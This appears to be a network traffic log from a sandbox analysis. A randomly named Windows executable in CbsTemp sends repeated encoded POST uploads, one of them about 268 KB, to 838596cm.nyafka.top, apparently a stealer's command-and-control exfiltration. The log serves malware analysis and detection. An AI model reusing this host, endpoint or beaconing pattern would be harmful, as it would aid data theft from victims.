Jan 8, 2025 17:12:56.761533976 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:12:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2pjhHzNZAhLshmEMzx%2FkoCMFBx5cOzmtcv%2FweXtVW4CMGW0AIYu3MP6%2FiXgkjhSc8MYDSqu%2FNWmGW4FReCwHBtCU7wMvU9KrGnGxz8LBTCbUjnwsmSCFEVUhiqJU7VubwWhQNKVQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78d4cce6c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=31708&min_rtt=29799&rtt_var=14994&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=692&delivery_rate=32388&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 35 38 0d 0a 56 4a 7d 58 7a 6d 64 5f 79 61 7b 5a 68 5f 7f 03 69 74 73 08 7f 06 62 53 79 5d 70 05 6a 5c 5d 58 63 73 5b 40 7a 4f 7e 5f 62 5f 78 03 7c 71 78 01 55 4b 72 51 74 62 7f 06 6b 62 5c 5f 68 77 66 41 7b 5f 70 09 7c 63 7c 59 75 61 61 4e 76 62 7d 49 6b 58 62 48 6a 7f 78 08 7d 59 67 06 77 76 7b 06 7c 5b 69 47 7e 5e 6d 03 6f 59 78 43 6f 59 7c 4d 7b 6d 67 00 79 61 70 01 7b 63 7a 4f 6b 4e 5d 59 6f 64 7c 4b 7d 5c 55 07 76 61 70 48 7a 51 41 5b 68 59 56 41 7d 62 66 53 77 6c 6c 05 6c 55 74 4b 76 73 7e 0c 7b 72 6e 58 6a 6f 7a 07 7b 71 62 03 62 5d 60 5a 75 5f 78 07 76 71 76 50 7e 5d 7a 06 77 5c 6d 07 61 66 7c 09 6b 7c 66 58 77 7c 7f 5d 7f 5d 6c 02 78 6f 7f 03 6c 59 76 01 6b 6d 7c 08 60 67 6c 02 7e 62 62 09 7e 7e 63 09 7b 43 7e 06 7e 5b 75 06 7b 5d 46 51 7c 6f 63 50 6a 60 67 54 7d 67 54 01 78 54 7c 59 78 4c 56 49 6b 61 7f 03 7d 77 73 42 7f 4e 58 53 79 5a 70 07 7d 61 78 01 63 5d 57 51 7b 5c 79 49 75 66 68 4b 7d 66 70 4d 7e 48 5b 0d 74 4c 7f 03 7d 62 57 06 7f 67 62 08 7b 58 70 0d 7d 63 73 00 77 62 79 02 76 [TRUNCATED] Data Ascii: 558VJ}Xzmd_ya{Zh_itsbSy]pj\]Xcs[@zO~_b_x\|qxUKrQtbkb\_hwfA{_p\|c\|YuaaNvb}IkXbHjx}Ygwv{\|[iG~^moYxCoY\|M{mgyap{czOkN]Yod\|K}\UvapHzQA[hYVA}bfSwlllUtKvs~{rnXjoz{qbb]`Zu_xvqvP~]zw\maf\|k\|fXw\|]]lxolYvkm\|`gl~bb~~c{C~~[u{]FQ\|ocPj`gT}gTxT\|YxLVIka}wsBNXSyZp}axc]WQ{\yIufhK}fpM~H[tL}bWgb{Xp}cswbyvqqGOb\|xA~IcuasGxLq\|puKxwlyw`Lx}{zLV{sbA\|`l{g`J~r]OvOxH}lQK\|wpA}qqNv\|hA{lpKw`rzqm~BXAxqXHv]]Ju
Jan 8, 2025 17:12:56.761555910 CET	938	IN	Data Raw: 5f 7c 03 77 71 5c 09 7f 4e 54 04 76 62 53 4f 76 65 78 0b 7f 7c 75 00 76 7c 74 06 7c 73 5e 49 78 6c 7f 01 78 60 72 00 7d 6d 78 4e 77 49 70 02 7e 4c 72 42 7c 7d 63 0c 78 53 7e 06 7e 5c 71 03 7c 5e 5a 08 7c 52 60 4e 7e 4e 5a 42 7e 49 66 01 78 7d 6b Data Ascii: _\|wq\NTvbSOvex\|uv\|t\|s^Ixlx`r}mxNwIp~LrB\|}cxS~~\q\|^Z\|R`N~NZB~Ifx}kyrt\|OYJ}Iw~pazs\|~\lHt]ayOiKuf\|\|vV}fyw\\S\|YTxXt}cwHu\[waq\|qj~llC~YKvqYzbSH}^}{g`L{wlLxSYz\VKzsn{]NZxYl}\UOuXx}\|R^\|hka@b`O{l`KwcbzOS
Jan 8, 2025 17:12:57.501565933 CET	324	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 384 Expect: 100-continue
Jan 8, 2025 17:12:57.603087902 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:12:57.603282928 CET	384	OUT	Data Raw: 55 5c 5e 50 59 51 56 59 5e 5f 57 54 56 5f 59 59 57 50 58 59 50 55 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^PYQVY^_WTV_YYWPXYPUV_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X+8#_$#>_*-9[/ >.&=()'-('Y>< 5-'Y:?#_&'P-#
Jan 8, 2025 17:12:57.853785992 CET	969	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:12:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LHyuRNL5QatkT%2BxNOWAZoYgpaD0YH%2FQ36h8bZ7Cz%2FIyHkxkpnGHDnxBvuSQ5t7NGg%2FALisFqMwvbORI29PM2uJX%2BlPF4k916apAlHFTs7gX9jGiQ%2B6Qsiv3Dx%2BCFwCW%2Bupg1eZ4i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78dbbc72c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30288&min_rtt=1477&rtt_var=16304&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2224&recv_bytes=1400&delivery_rate=2855280&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0f 24 2d 37 03 37 2b 2d 55 3f 2a 01 5b 29 0a 2e 5f 3a 39 2b 02 27 34 3f 07 27 3c 30 10 20 3c 22 03 2a 3b 2d 11 27 18 33 0e 28 01 20 5c 04 1f 24 58 3f 28 0c 0c 3e 01 3a 58 24 0a 25 1e 32 33 34 59 25 2d 3b 58 26 3a 32 56 23 07 24 09 2c 1d 31 08 2d 28 30 5c 28 24 28 5b 33 2e 2f 50 0f 10 38 19 39 07 3f 5c 20 21 00 11 21 30 27 5b 37 26 27 07 3d 2d 20 0a 23 2f 29 18 27 30 36 0f 37 32 27 55 27 1d 24 05 2b 21 06 52 2b 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'$-77+-U?[)._:9+'4?'<0 <";-'3( \$X?(>:X$%234Y%-;X&:2V#$,1-(0\($([3./P89?\ !!0'[7&'=- #/)'0672'U'$+!R+$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49862	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:12:57.778233051 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:12:58.129482985 CET	2532	OUT	Data Raw: 55 54 5e 56 59 5e 56 5e 5e 5f 57 54 56 5d 59 53 57 5e 58 5a 50 5d 56 5a 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT^VY^V^^_WTV]YSW^XZP]VZ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X(403>>=Y8\1)+'8"(2$=;"-:#_&'P-+
Jan 8, 2025 17:12:58.223294973 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:12:58.453341007 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7N6cM%2Fex67dUIw8%2FgvdDwrYqXHjk9A0GdYL6SvKANJYgar%2BFpZ2ZTvCl9i0qwXlQilObrwIMuI9RARrvz4Zu3Zs3RHixxWiawgHqwgTx37qj%2FQ1%2FgnfgjS3eK2W2JNRYHBATY5VV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78df98aac34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3329&min_rtt=1447&rtt_var=4307&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=88463&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49863	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:12:58.109673977 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1816 Expect: 100-continue
Jan 8, 2025 17:12:58.457756996 CET	1816	OUT	Data Raw: 50 56 5e 52 5c 5d 56 52 5e 5f 57 54 56 5e 59 5d 57 51 58 5a 50 5d 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^R\]VR^_WTV^Y]WQXZP]V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?+('#=[)8$=_=+=\0=(3]) Z5(:#_&'P-
Jan 8, 2025 17:12:58.563843966 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:12:58.833919048 CET	955	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:12:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=COWFNyq%2B1jQq1sYD1%2BJcYvVzNS91Ux6po1OGYX2rb4TMaAkXCNIJQ6ZWl4s1COTazawAyE940rs63Qlpz4n0m9wiYUdXZjTJ%2FoHq2OoW92j46p%2FUWMN22JlCzBcO3zN9Qfl2C4tv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78e1beaf727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4195&min_rtt=1907&rtt_var=5292&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2141&delivery_rate=72223&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0d 27 03 2c 5a 22 38 21 55 3f 03 30 06 3d 33 22 5a 3a 39 28 5c 25 1a 02 5c 26 12 2c 10 22 2c 39 5f 3f 06 2e 01 30 08 3b 0e 2a 2b 20 5c 04 1f 27 05 2b 38 29 57 3d 11 2e 14 27 55 32 03 32 0a 3c 13 31 5b 27 5b 33 00 22 55 20 5f 30 0e 2f 30 26 1a 3a 3b 3f 00 28 37 2c 11 24 2e 2f 50 0f 10 38 51 2c 29 2f 5d 21 0f 08 54 35 20 3b 11 37 26 24 10 3e 2d 3b 55 22 01 39 5e 24 33 39 50 34 22 24 0c 33 1d 3f 5a 3f 57 3c 10 2b 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'',Z"8!U?0=3"Z:9(\%\&,",9_?.0;*+ \'+8)W=.'U22<1['[3"U _0/0&:;?(7,$./P8Q,)/]!T5 ;7&$>-;U"9^$39P4"$3?Z?W<+$U,,I?XR0
Jan 8, 2025 17:12:58.903558016 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:12:59.000051975 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:12:59.000236034 CET	2532	OUT	Data Raw: 55 57 5e 54 5c 5b 56 52 5e 5f 57 54 56 58 59 5b 57 5e 58 52 50 55 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW^T\[VR^_WTVXY[W^XRPUV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Y+(,3>1/<>.:>8"'8:<#Y*/">#Y9?#_&'P-?
Jan 8, 2025 17:12:59.375204086 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:12:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5aPdhjS1o4flKKAWhojw7384aZrePGXeoKnZFVSrQB6dFaA1BMZSd26vLNmX8fXBfj3dF15SOKF37q5imLjLcft6YHQE1DbqGgewwRUY7P3mrSNsDY3KcRuwCjMx6jxbc1nPbHQi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78e47aad727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8080&min_rtt=1907&rtt_var=11719&sent=7&recv=10&lost=0&retrans=0&sent_bytes=1005&recv_bytes=4998&delivery_rate=1478481&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49874	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:12:59.841362953 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:00.192353010 CET	2532	OUT	Data Raw: 50 55 5b 52 5c 5b 53 5b 5e 5f 57 54 56 59 59 59 57 50 58 5c 50 5b 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PU[R\[S[^_WTVYYYWPX\P[VY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [<Y'01)/' >5>;X&8.<!$*["=-?#_&'P-
Jan 8, 2025 17:13:00.304465055 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:00.563951969 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kMx3AEDMeAS0jApE9iLXuyITs8Eo6Jukr9Yt7dFoTZP09epWkdJZYXHY7%2FFigSFVZ5qR%2Bwl9S3Qy8Xmz0CgQC%2Ffq3LqAn5zNuCeKNy0%2FC0%2FHZYJbOquavLxONRuaMS3m%2BsDz3SY6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78ec9df0424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3382&min_rtt=1654&rtt_var=4077&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=94290&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49881	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:01.364475012 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:01.724065065 CET	2532	OUT	Data Raw: 50 55 5e 57 59 5e 56 5a 5e 5f 57 54 56 57 59 5c 57 56 58 5e 50 59 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PU^WY^VZ^_WTVWY\WVX^PYVP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X(;4$ -?.:/7#?-5^>\$;"Q((>Y<"[<-#_&'P-
Jan 8, 2025 17:13:01.828187943 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:02.078200102 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mzx%2Bu0K5DhUVV%2B%2FgQB%2B%2BdsPKkGT0YEhBv4RpOIrHQubOSXtiUS7d1QxNDGtbbcox7Mzee%2F%2F1%2FaeQDn3sLG4bPCsNtQQgDvJyqbBJ8EftJ6ouF16BxqMV69RqmAEeIkngpczdVKnJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed78f61bdd727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=6652&min_rtt=1940&rtt_var=10151&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=36834&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49888	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:02.558707952 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49889	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:02.663609982 CET	351	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 268532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:03.020422935 CET	12360	OUT	Data Raw: 55 53 5e 5f 5c 5a 56 5e 5e 5f 57 54 56 5f 59 59 57 5e 58 53 50 55 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US^_\ZV^^_WTV_YYW^XSPUV\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Y+++Y00%>1;4?>.%^>5$]-+1?)?4]"8-?#_&'P-#
Jan 8, 2025 17:13:03.025376081 CET	2472	OUT	Data Raw: 0d 07 39 0d 34 03 02 11 04 32 3e 56 32 00 19 3c 06 3b 30 1e 30 01 16 54 3e 3d 23 3a 00 17 3c 03 0d 30 39 52 0a 22 43 5a 0f 36 23 2f 26 07 1a 2a 36 5b 2e 21 3b 1d 22 28 3b 3e 30 23 08 09 34 3d 23 30 23 55 31 27 23 10 3f 3d 01 42 28 56 22 37 3c 1c Data Ascii: 942>V2<;00T>=#:<09R"CZ6#/&6[.!;"(;>0#4=#0#U1'#?=B(V"7<%-85Q=($:)8.;<::;44$#X:43U&"[E$?-@2'<55VX<+09,:#6C72;0148>5_@0(==2U;$,\9_Q<6<7"=1:,9/<!+^+10.3=T?>?
Jan 8, 2025 17:13:03.025391102 CET	2472	OUT	Data Raw: 3e 54 0e 11 03 5b 35 1a 39 35 2d 40 2e 34 29 5c 28 23 59 52 09 21 01 1e 09 27 2e 2a 28 5c 1e 06 07 23 29 24 30 00 50 11 0a 42 23 1d 09 3e 23 3f 20 5b 32 04 34 5d 26 1f 0c 0f 2c 57 2b 30 2b 24 05 21 23 5d 26 24 21 1d 31 07 39 5a 3b 21 0b 10 0a 0d Data Ascii: >T[595-@.4)\(#YR!'.(\#)$0PB#>#? [24]&,W+0+$!#]&$!19Z;!,Z&8#_[W.!&Q4$Y(R/2': ?>H)-),^<3 :;%;_>^>,2[ =W<S00"< 6B2#081 "6^060?>0BY&8+]>_%,8Z6; 0T")>0-8)+$!T+),$[<
Jan 8, 2025 17:13:03.025429964 CET	2472	OUT	Data Raw: 31 1e 0b 5d 0a 26 25 1b 24 5c 06 23 0a 3a 08 20 3e 1a 22 1f 0b 2b 23 21 25 06 34 28 3d 21 09 17 0c 2d 24 1d 28 29 2c 3b 09 56 03 38 22 2d 3d 59 38 25 53 5d 13 00 1c 5a 35 29 36 3d 08 2a 13 0b 34 23 3c 25 02 2d 2b 08 0b 31 3c 58 2d 07 02 2b 29 27 Data Ascii: 1]&%$\#: >"+#!%4(=!-$(),;V8"-=Y8%S]Z5)6=4#<%-+1<X-+)'E4<R31<%=!?]%79^17<0&_"09 _3._583<1<-4[]<(>$#3?'\0&(7)<"]9$!7;48%#8[66R;]6'#\:_+>!718,!-$:1 [+(=?6>Q#6!2 '
Jan 8, 2025 17:13:03.025440931 CET	2472	OUT	Data Raw: 0f 30 27 08 3b 10 5b 1b 0a 5d 5f 15 3a 5f 0d 55 32 23 2d 2b 01 34 3b 3f 3c 37 24 59 0b 25 30 57 3f 2a 02 12 32 01 24 2f 0d 0b 07 34 23 1e 01 1b 0f 32 50 5c 21 3f 27 53 22 2c 59 3c 3f 0a 1f 57 0c 33 01 17 09 57 28 5f 27 30 33 29 28 42 23 25 3f 5b Data Ascii: 0';[]_:_U2#-+4;?<7$Y%0W?2$/4#2P\!?'S",Y<?W3W(_'03)(B#%?[,2Q5%=_(%>S&:;.17],#] Y <,*=X3]2/_(="R 77_Y>.6=_ER5.0>3;#9,?_,?S6&?</T(V0;5>9-)5$%1,<W'=/Z9'.<1$.\2QX;[ Z;-:(15Y(?2#
Jan 8, 2025 17:13:03.025491953 CET	2472	OUT	Data Raw: 03 0b 57 0b 3c 5a 37 30 32 30 0e 22 29 59 17 1e 3d 5e 29 1d 31 2a 0b 0f 30 31 37 29 0b 59 37 01 0f 28 1c 15 06 29 5b 1f 35 1d 25 05 34 25 3f 27 27 37 3b 3b 32 3d 15 23 22 3f 0c 1c 07 5c 5d 3c 24 18 3b 51 37 2d 02 5b 3b 0a 05 1a 28 3b 3e 37 3e 01 Data Ascii: W<Z7020")Y=^)1017)Y7()[5%4%?''7;;2=#"?\]<$;Q7-[;(;>7>5?2>1;-<1,?S<_,17>34"=#R6)053-6$/>.W+W9W,=!V_2?(?0.<U]?$%^+((&17."2:3<?!4!:)7?75<:?-')>X:^+!S
